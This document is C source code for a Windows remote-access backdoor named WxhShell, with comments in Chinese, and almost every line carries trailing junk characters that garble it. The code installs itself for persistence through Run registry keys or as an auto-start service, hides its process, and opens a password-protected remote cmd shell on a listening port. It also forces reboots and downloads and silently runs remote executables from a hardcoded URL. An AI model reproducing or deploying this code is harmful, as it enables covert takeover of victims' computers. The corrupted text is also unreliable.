    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )XAD#GYM  
    if(Boot(SHUTDOWN)) Pw_[{LL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Q3Ad>,U  
    else { yNu%D$6u7  
    closesocket(wsh); %xWscA%^u  
    ExitThread(0); POCFT0R}  
    } + s snCr  
    break; .+TriPL  
    } H<6/i@ly  
  // 获取shell 9p5{,9.3*  
  case 's': { 1*Ui=M4  
    CmdShell(wsh); OY/sCx+c  
    closesocket(wsh); k(v8zDq*  
    ExitThread(0); =2=n   
    break; C4ut!I #  
  } 'of5v6:8  
  // 退出 Aa;s.:?  
  case 'x': { e!(0y)*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +=bGrn>h  
    CloseIt(wsh);  _,2P4  
    break; ?>p<!:E!r  
    } @BZ6{@*  
  // 离开 t $+46**  
  case 'q': { 6T_Mk0Sf+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uUczD 8y  
    closesocket(wsh); -\`n{$OR  
    WSACleanup(); 6*,8 H&  
    exit(1); aQEMCWxZ  
    break; %q@eCN  
        } ?wR;"  
  } Zbp ByRyN  
  } &!{wbm@  
2>l:: 8Pp  
  // 提示信息 1;l&ck-Gg/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !(hP{k ^g  
} $e|G#mMd-  
  } %&yD^ q_  
n NI V(  
  return; eYurg6Ob~  
} /AR;O4X+  
*a@pZI0'  
// shell模块句柄 w49Wl>M  
int CmdShell(SOCKET sock) +OF(CcA^  
{ [ed%"f  
STARTUPINFO si; j}chU'i f  
ZeroMemory(&si,sizeof(si)); 2oAPJUPOJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'A,&9E{%1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1WPDMLuN  
PROCESS_INFORMATION ProcessInfo; \>j._#t$h  
char cmdline[]="cmd"; I'o9.B8%#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ho?+?YJ#P  
  return 0; k3[ ~I'  
} ML0o :8Bd\  
)}?'1ciHI  
// 自身启动模式 | zj$p~  
int StartFromService(void) J[ UL f7:  
{ 2|o6~m<pE  
typedef struct vhEPk2wD,  
{ ;0}$zy1EZ  
  DWORD ExitStatus; ASAz<H$  
  DWORD PebBaseAddress; @.-g  
  DWORD AffinityMask; pCA(>(  
  DWORD BasePriority; e(BF=gesgp  
  ULONG UniqueProcessId; l_u1 ~K  
  ULONG InheritedFromUniqueProcessId; 'r4 j;Jn  
}   PROCESS_BASIC_INFORMATION; 'oHtg @  
+J$[RxQ#  
PROCNTQSIP NtQueryInformationProcess; E'$r#k:o  
au5 74tj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PBr-< J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i}RxTmG<  
%Md;=,a:6  
  HANDLE             hProcess; Gw3|"14  
  PROCESS_BASIC_INFORMATION pbi; @g""*T1:$  
}MrR svN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); suaTXKjyk+  
  if(NULL == hInst ) return 0; G F,/<R#  
-sGfpLy<6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $t-HJ<!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cy?u *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (C,PGjd  
h5x FP  
  if (!NtQueryInformationProcess) return 0; O~-#>a  
r_ I7Gd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &K)c*' l  
  if(!hProcess) return 0; N(]6pG=  
`pm6Ts{,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fc7mAV=  
k%/Z.4vQG  
  CloseHandle(hProcess); r.[!n)*  
+l2{EiQw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D^I%tn=F  
if(hProcess==NULL) return 0; lEAN Nu  
!tmY_[\  
HMODULE hMod; P$N\o@  
char procName[255]; zOCru2/  
unsigned long cbNeeded; M2[;b+W9  
Cz+>S3v M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $=TFTSO  
<:2El9l!  
  CloseHandle(hProcess); QW|,_u5j  
Q~#udEajI  
if(strstr(procName,"services")) return 1; // 以服务启动 :U0z;  
@.a[2,o_  
  return 0; // 注册表启动 7<mY{!2iF?  
} #<S+E7uTs  
bf-.SX~  
// 主模块 {2}O\A  
int StartWxhshell(LPSTR lpCmdLine) hoD (G X  
{ ),mKEpf  
  SOCKET wsl; w{UVo1r:  
BOOL val=TRUE; ~M3`mO+^U  
  int port=0; H.hF`n  
  struct sockaddr_in door; ,Za!  
|gA~E>IqF  
  if(wscfg.ws_autoins) Install(); `-"2(Gp  
ow!utAF  
port=atoi(lpCmdLine); 8Sd<!  
[DC8X P5 <  
if(port<=0) port=wscfg.ws_port; A/|To!R  
Z O5_n  
  WSADATA data; JZNRMxu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t4/d1qW0  
75u/'0~5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y$Sn3_9 V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Z&El:]3>  
  door.sin_family = AF_INET; fr#Y<=Jo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b lP@Cn2  
  door.sin_port = htons(port); ) gYsg  
f',n '  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @#hd8_)A.  
closesocket(wsl); y4PR&^l?g  
return 1; W,9. z%  
} Q0K2md_%x  
@e8b'w3  
  if(listen(wsl,2) == INVALID_SOCKET) { NGcd  
closesocket(wsl); _CO?HX5ek  
return 1; h.d-a/  
}  $A]2Iw!&  
  Wxhshell(wsl); }:<`L\8q\  
  WSACleanup(); *pK bMG#  
Q1yMI8  
return 0; SR)G!9z_/  
dmI~$*  
} ebK/cPa8  
0tyoH3o/d  
// 以NT服务方式启动 xl8=y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ezsb'cUa(  
{ Y"6 '  
DWORD   status = 0; qM= $,s*  
  DWORD   specificError = 0xfffffff; a9]F.Jm  
(k/[/`3ST  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qWX%[i%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `G7LM55  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E[q:65xl  
  serviceStatus.dwWin32ExitCode     = 0; $;7,T~{  
  serviceStatus.dwServiceSpecificExitCode = 0; J<hqF4z  
  serviceStatus.dwCheckPoint       = 0; Sk7l&B  
  serviceStatus.dwWaitHint       = 0; uq?((  
011 N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `o/G0~T)  
  if (hServiceStatusHandle==0) return; [PG#5.jwQ  
DwSB(O#X  
status = GetLastError(); qLC_p)  
  if (status!=NO_ERROR) -KV)1kET  
{ eb1WTK@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pRR1k?  
    serviceStatus.dwCheckPoint       = 0; ]JDKoA{S0  
    serviceStatus.dwWaitHint       = 0; 4`E[ WE:Q  
    serviceStatus.dwWin32ExitCode     = status; Ac^hZ.qPz  
    serviceStatus.dwServiceSpecificExitCode = specificError; /B"FGa04p(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =u\W {1  
    return; WxPu{N  
  } 'O>p@BEK  
+"J2k9E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 10tlD<eYb  
  serviceStatus.dwCheckPoint       = 0; oZ]^zzoEcg  
  serviceStatus.dwWaitHint       = 0; `U4e]Qh/+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {ovt 6C  
} F:$*0!  
%u=b_4K"j  
// 处理NT服务事件,比如:启动、停止 S<*h1}V3/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z$*m=]2  
{ q,;8Ka )  
switch(fdwControl) \d-H+t]  
{ ,zF^^,lO7  
case SERVICE_CONTROL_STOP: d.e_\]o<@  
  serviceStatus.dwWin32ExitCode = 0; kB#;s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hl} iw_e  
  serviceStatus.dwCheckPoint   = 0; *ggai?  
  serviceStatus.dwWaitHint     = 0; G/ sRi wL  
  { Pk ?M~{S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aU\R!Y$/"  
  } uKA-<nM._c  
  return; D( \c?X"  
case SERVICE_CONTROL_PAUSE: z:1"d R   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (e"\%p`  
  break; _-=yD@;[D  
case SERVICE_CONTROL_CONTINUE: 8*x/NaH /\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c)`=wDi  
  break; tD^$}u6  
case SERVICE_CONTROL_INTERROGATE: yDapl(  
  break; 'Lu d=u{  
}; F:~k4uTW\b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pQ,|l$^m  
} SD  _P=?  
r}S>t~p:  
// 标准应用程序主函数 n@=D,'cn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |=u }1G?  
{ uqHI/4  
Xk>YiV",?  
// 获取操作系统版本 L#k`>Qn2  
OsIsNt=GetOsVer(); W0+m A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <SKzCp\  
Oh=E!  
  // 从命令行安装 k0bDEz.X  
  if(strpbrk(lpCmdLine,"iI")) Install(); mS?W+jy%  
_aP 2gH  
  // 下载执行文件  (z.4er}o  
if(wscfg.ws_downexe) {  0`QF:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2cQG2N2*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'wA4yJ<  
} ;9;jUQ]MyG  
v"YaMbu  
if(!OsIsNt) { K+<F, P  
// 如果时win9x,隐藏进程并且设置为注册表启动 g1{2E<b 5  
HideProc(); e_+SBN1`P&  
StartWxhshell(lpCmdLine); SG@E*yT1  
} OrY^?E  
else BHf7\ +Ul  
  if(StartFromService()) G'T: l("l  
  // 以服务方式启动 K3^2;j1F Q  
  StartServiceCtrlDispatcher(DispatchTable); ~.$ca.Gf  
else 0bfJD'^9RP  
  // 普通方式启动 7-Mm+4O9  
  StartWxhshell(lpCmdLine); 888"X3.T  
%7A?gY81  
return 0; +>QD4z#  
} ~m3Tq.sYrY  
('6sW/F*ab  
Hto+spW  
}u+cS[#-  
=========================================== x31Jl{x8\?  
f {j`d&|  
P?|>, \t  
;m~%57.;\  
/s Bs eI  
b[^|.>b  
" &hnKBr(Lw  
GhR%fxe  
#include <stdio.h> %?PRBE'}'  
#include <string.h> \ZtF,`Z  
#include <windows.h> o&RNpP*  
#include <winsock2.h> M.K%;j`  
#include <winsvc.h> lZJbQ=K{  
#include <urlmon.h> R6`,}<A]@  
F.iJz4ya_  
#pragma comment (lib, "Ws2_32.lib") ,HwOMoP7  
#pragma comment (lib, "urlmon.lib") }K|40oO5  
S\0?~l"}  
#define MAX_USER   100 // 最大客户端连接数 &Fh#otH_  
#define BUF_SOCK   200 // sock buffer _n+ 5{\z  
#define KEY_BUFF   255 // 输入 buffer <_#a%+5d  
*n_7~ZX  
#define REBOOT     0   // 重启 m`xzvg  
#define SHUTDOWN   1   // 关机 !Q=xIS  
8F/JOtkGMt  
#define DEF_PORT   5000 // 监听端口 P( 1Z  
zh Vkn]z~*  
#define REG_LEN     16   // 注册表键长度 \+>g"';f  
#define SVC_LEN     80   // NT服务名长度 )|B3TjH C  
;oWak`]f  
// 从dll定义API /{!?e<N>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z K6'wL!!I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QygbfW6u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jj7he(!_1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Wa. 2s  
sh;>6xB  
// wxhshell配置信息 RP%7M8V){B  
struct WSCFG { c52S2f7  
  int ws_port;         // 监听端口 O[^u<*fi{  
  char ws_passstr[REG_LEN]; // 口令 ;mSJZYnT  
  int ws_autoins;       // 安装标记, 1=yes 0=no tjbI*Pw7(  
  char ws_regname[REG_LEN]; // 注册表键名 ~JTp8E9kw  
  char ws_svcname[REG_LEN]; // 服务名 Qn`Fq,uvL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t&H3yV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o+}G/*O8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0iKAg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ANR611-a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V1A7hRjxvG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I,V'J|=j  
[7[$P.MS{  
}; >=Un=Q%  
eVbaxL!Q^  
// default Wxhshell configuration  &+Pcu5  
struct WSCFG wscfg={DEF_PORT, lO0 PZnW9  
    "xuhuanlingzhe", fdTyY ;  
    1, ws$!-t4<(  
    "Wxhshell", #N"K4@]{  
    "Wxhshell", `;!v<@:i2  
            "WxhShell Service", *.0#cP7 "  
    "Wrsky Windows CmdShell Service", ,~- dZs  
    "Please Input Your Password: ", u!&Vbo? .B  
  1, &U8W(NxN  
  "http://www.wrsky.com/wxhshell.exe", ?Y#0Je  
  "Wxhshell.exe" ^g2p!7  
    }; _S;L| 1>S  
3M{/9rR[  
// 消息定义模块 +kKfx!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NPM}w!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6uf+,F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vxzOG?Xc:  
char *msg_ws_ext="\n\rExit."; wDV%.Cc  
char *msg_ws_end="\n\rQuit."; BJI R !J  
char *msg_ws_boot="\n\rReboot..."; =?f\o*J)  
char *msg_ws_poff="\n\rShutdown..."; 1o7 pMp=  
char *msg_ws_down="\n\rSave to "; l|`%FB^k  
Z<Rz}8s  
char *msg_ws_err="\n\rErr!"; $Xw .iN]g  
char *msg_ws_ok="\n\rOK!"; ]BU,*YaB  
<`sVu  
char ExeFile[MAX_PATH]; wxARD3%  
int nUser = 0; v6 DN:!&  
HANDLE handles[MAX_USER]; b+\jFGC%6=  
int OsIsNt; qx<`Kc4  
4w^B&e%  
SERVICE_STATUS       serviceStatus; _JA.~edqM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VY$hg  
EVMhc"L  
// 函数声明 Xd>4n7nb$`  
int Install(void); n *%<!\gJ  
int Uninstall(void); iLn)Z0<\o  
int DownloadFile(char *sURL, SOCKET wsh); q"'^W<i  
int Boot(int flag); gVsAz  
void HideProc(void); n[CESo%[  
int GetOsVer(void); eCMcr !.  
int Wxhshell(SOCKET wsl); _(3VzI'G  
void TalkWithClient(void *cs); |:`f#H  
int CmdShell(SOCKET sock); 9M:wUYHT  
int StartFromService(void); C 7YZ;{t  
int StartWxhshell(LPSTR lpCmdLine); ouK&H|'  
Y.3]vno?X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q1IN@Db}y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [ECSJc&i  
;#P@(ZVT  
// 数据结构和表定义 AtYe\_9$C  
SERVICE_TABLE_ENTRY DispatchTable[] = R{\vOw:*  
{ :Sk0?WU  
{wscfg.ws_svcname, NTServiceMain}, *qj @y'1\  
{NULL, NULL} Pon 2!$  
}; C,hs!v6  
WmP"u7I4  
// 自我安装 'ADt<m_$  
int Install(void) $)vljM<<  
{ 1Wtr_A  
  char svExeFile[MAX_PATH]; DGj:qd(  
  HKEY key; XU5/7 .  
  strcpy(svExeFile,ExeFile); *4Y1((1k  
{3lsDU4  
// 如果是win9x系统,修改注册表设为自启动 9e^[5D=L  
if(!OsIsNt) { IUAx*R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "n," >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OGh9^,v  
  RegCloseKey(key); fQ=Yf?b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =LDzZ:' X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U8-#W(tRR  
  RegCloseKey(key); I!dA{INN  
  return 0; |)* K#%j  
    } & V^ Z  
  } ]@vX4G/  
} $[T^ S  
else { [-_3Zr  
*9y)B|P^  
// 如果是NT以上系统,安装为系统服务 m.pB]yq&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %%)"W n#`  
if (schSCManager!=0) 9u^PM  
{ &YGd!Q  
  SC_HANDLE schService = CreateService D+P(  
  ( BCYTlxC'  
  schSCManager, H=9kDP${  
  wscfg.ws_svcname, 8om6wALXB  
  wscfg.ws_svcdisp, Gole7I  
  SERVICE_ALL_ACCESS, dKTyh:_{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K'%2'd  
  SERVICE_AUTO_START, 7DDd 1"jE  
  SERVICE_ERROR_NORMAL, "XlNKBgM  
  svExeFile, Xyy;BO:  
  NULL, Y<-h#_  
  NULL, ug{@rt/"Z  
  NULL, < aJl i   
  NULL, v/*}M&vo  
  NULL (hNTr(z  
  ); 4&X D  
  if (schService!=0) nF>41 K  
  { mivb}cKM  
  CloseServiceHandle(schService); s!,m,l[P  
  CloseServiceHandle(schSCManager); h?R{5?RxK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g xY6M4  
  strcat(svExeFile,wscfg.ws_svcname); L#O1 >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k-IL%+U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uP, iGA  
  RegCloseKey(key); (VD Y]Q)  
  return 0; `NYu|:JK:  
    } 60,z!Vv  
  } %jk7JDvl  
  CloseServiceHandle(schSCManager); fh_+M"Y0`  
} X)oxNxZ[A  
} -]el_:H  
Zc9@G-  
return 1; S&/,+x'c|  
} $inlI_  
-p.c8B  
// 自我卸载 "uCO?hv0  
int Uninstall(void) =~zsah6N  
{ (xpt_]Q!H  
  HKEY key;  _U.|$pU  
'8%jA$o\g  
if(!OsIsNt) { :I_p4S.)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fg$#ZCi  
  RegDeleteValue(key,wscfg.ws_regname); .3 >"qv  
  RegCloseKey(key); YI+ clh;%9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zt_~Zxn3  
  RegDeleteValue(key,wscfg.ws_regname); SR%k|YT  
  RegCloseKey(key); X*cDn.(I  
  return 0; $UNC0 (4  
  } Z(j"\d!y  
} mR["xDHD  
} Ri>4:V3K  
else { %xt;&HE  
8[b_E5!V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +*RaX (&  
if (schSCManager!=0) m)7Ql!l  
{ CbGfVdw/c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Su/8P[q_  
  if (schService!=0) o6tPQ (Vi  
  { :FTx#cZ  
  if(DeleteService(schService)!=0) { s\+| ql  
  CloseServiceHandle(schService); _(zZrUHB  
  CloseServiceHandle(schSCManager); 'C4cS[1  
  return 0; M*!WXQlud  
  } OZc4 -5  
  CloseServiceHandle(schService); |\zzOfaO  
  } 3 Fb9\2<H  
  CloseServiceHandle(schSCManager); 44NM of8N  
} +0}z3T1L  
} z$gtGrU  
},n?  
return 1; _01wRsm%2  
} m"@o  
VV;%q3}:  
// 从指定url下载文件 wz'=  
int DownloadFile(char *sURL, SOCKET wsh) l`uI K.  
{ e2e!"kEF  
  HRESULT hr; ,,SV@y;  
char seps[]= "/"; KomMzG:  
char *token; ^Q6?T(%$  
char *file; #c!rx%8I  
char myURL[MAX_PATH]; E!'6v DVC:  
char myFILE[MAX_PATH]; OlB9z  
Eug RC  
strcpy(myURL,sURL); 6Df*wi!jI  
  token=strtok(myURL,seps); T|8:_4/l  
  while(token!=NULL) c]h@<wnv  
  { IyI0|&r2A  
    file=token; cZJ5L>ox  
  token=strtok(NULL,seps); X%)~i[_DV  
  } Gx %=&O  
eT Fep^[  
GetCurrentDirectory(MAX_PATH,myFILE); )X;051Q  
strcat(myFILE, "\\"); /oW]? 9  
strcat(myFILE, file); 76bMy4re  
  send(wsh,myFILE,strlen(myFILE),0); xP_/5N=f  
send(wsh,"...",3,0); r<'DS9m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); | p!($  
  if(hr==S_OK) `m#-J;la  
return 0; @I}VD\pF  
else F^$;hMh%  
return 1; pHuR_U5*?  
?"*JV1 9  
} Ui!l3_O  
cF 4,dnI  
// 系统电源模块 PW|=IPS  
int Boot(int flag) ~Th,<w*o  
{ gROK4'j6y  
  HANDLE hToken; P3`$4p?  
  TOKEN_PRIVILEGES tkp; >s 6ye  
O!%T<2i3  
  if(OsIsNt) { S.4+tf 7+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3<Zp+rD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -$?t+ "/E  
    tkp.PrivilegeCount = 1; i^e8.zgywF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WPkKbF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pw| h`[h  
if(flag==REBOOT) { ymyzbE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~5`oNa  
  return 0; .=9WY_@SZ  
} mM72>1~L*  
else { z4:<?K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PBnH#zm  
  return 0; s :7/\h  
} njf\fw_  
  } u*v<dsGQ  
  else { Go)g}#.&  
if(flag==REBOOT) { i?Pnyi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oo@o$\+v  
  return 0; g&c ~grD  
} w+>+hq  
else { jtlRom}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <BED&j!qvP  
  return 0; xsB0LUt  
} Z.Yq)\it  
} itP`{[  
6ki2/ Q  
return 1; X0u,QSt' O  
} >i,_qe?V:w  
>P SO]%mE  
// win9x进程隐藏模块 zk FX[-'O  
void HideProc(void) X8Q'*  
{ *$g!/,  
D<;~eZ'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /7 Tm2Vj8  
  if ( hKernel != NULL ) X n$ZA-  
  { (tX3?[ii  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |MFAP!rycS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Qp}f^  
    FreeLibrary(hKernel); (MI>7| ';  
  } m+hI3@j  
:.,9}\LK  
return; 1j$\ 48Z  
} W~/d2_|/  
<ToBVG X  
// 获取操作系统版本 Bi:lC5d5?  
int GetOsVer(void) kun/KY  
{ z}ar$}T  
  OSVERSIONINFO winfo;  f\<r1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ev5~= ]  
  GetVersionEx(&winfo); V ql4*OJW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W5 F\e[Ax5  
  return 1; >#|%'Us  
  else Or5?Gt  
  return 0; 2|,L 9  
} D=-}&w_T"  
xmv %O&0^}  
// 客户端句柄模块 Ai < beUS  
int Wxhshell(SOCKET wsl) 2'Dl$DH  
{ iYStl  
  SOCKET wsh; bV8+E u  
  struct sockaddr_in client; Af;Pl|Zh[  
  DWORD myID; Mj MDD  
^HSxE  
  while(nUser<MAX_USER) bQt:=>  
{ _J l(:r\%  
  int nSize=sizeof(client); ]nhh|q9r{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &u.{]Yjx  
  if(wsh==INVALID_SOCKET) return 1; "CT}34l  
fHup&|.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $N=&D_Q  
if(handles[nUser]==0) c* {6T}VZr  
  closesocket(wsh); I}4 PB+yu  
else fCr2'+O"b  
  nUser++; ;5j|B|v  
  } '47 b"uV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >!=@TK(~  
{]HiTpn  
  return 0; }%_|k^t  
} f$o^Xu  
0^ODJ7  
// 关闭 socket G(&[1V%x  
void CloseIt(SOCKET wsh) >2s4BV[(  
{ F^yW3|Sb  
closesocket(wsh);  =_dM@j  
nUser--; E]@&<TFq  
ExitThread(0); Ei4^__g\'  
} XN df  
E\[BE<y  
// 客户端请求句柄 y(COB6r  
void TalkWithClient(void *cs) .@VZ3"  
{ o<Zlm)"%1  
{D4FYr J  
  SOCKET wsh=(SOCKET)cs; *dBeb  
  char pwd[SVC_LEN]; axC|,8~tq  
  char cmd[KEY_BUFF]; op6]"ZV-C  
char chr[1]; <0CjEsAB]  
int i,j; ?xj8a3F  
")Fd'&58  
  while (nUser < MAX_USER) { Lw>B:3e  
#J[g r_  
if(wscfg.ws_passstr) { A,~3oQV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FuHBzBoM=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tv``\<   
  //ZeroMemory(pwd,KEY_BUFF); 9Dx~! (  
      i=0; ~apt, hl  
  while(i<SVC_LEN) { ^j<v~GT x+  
-"[4E0g0  
  // 设置超时 cIU2qFn[  
  fd_set FdRead; xs"i_se  
  struct timeval TimeOut; zj`c%9N+  
  FD_ZERO(&FdRead); 'm`O34h  
  FD_SET(wsh,&FdRead); C[^VM$  
  TimeOut.tv_sec=8; !<w6j-S  
  TimeOut.tv_usec=0; _^<vp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I-#!mFl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O/~T+T%  
i2qN 0?n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r^,_m,s'<  
  pwd=chr[0]; P27Ot1px  
  if(chr[0]==0xd || chr[0]==0xa) { /$; Z ~^P  
  pwd=0; ~^F]t$rz  
  break; Oc)n,D)0  
  } :|j[{;asY  
  i++; q`e0%^U  
    } {\$S585  
-h8mJ D%Oi  
  // 如果是非法用户,关闭 socket A;U c&G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lU1SN/'zx  
} IogLkhWX  
SzLlJUVX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  <$nPGz)}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =]@Bc 7@  
Ec7xwPk  
while(1) { =9&2udV1  
%<yW(s9{  
  ZeroMemory(cmd,KEY_BUFF); >\JP X  
?c.\\2>|F  
      // 自动支持客户端 telnet标准   }w f8y  
  j=0; dz#"9i5b  
  while(j<KEY_BUFF) {  *RY}e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IR/S`HD_  
  cmd[j]=chr[0]; Md6u4c  
  if(chr[0]==0xa || chr[0]==0xd) { wGO-Z']i  
  cmd[j]=0; ],c0nz^%BR  
  break; ]Jz=. F sO  
  } 1^k}GXsWmE  
  j++; rbf5~sw&8+  
    } {r&r^!K;  
P.(UbF d'  
  // 下载文件 Wi$?k {C  
  if(strstr(cmd,"http://")) { R/{h4/+vJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^aaj=p:c V  
  if(DownloadFile(cmd,wsh)) {Lju7'5L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [CHN3&l-5S  
  else -Ua5anzB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Va[&~lA)  
  } e ,XT(KY  
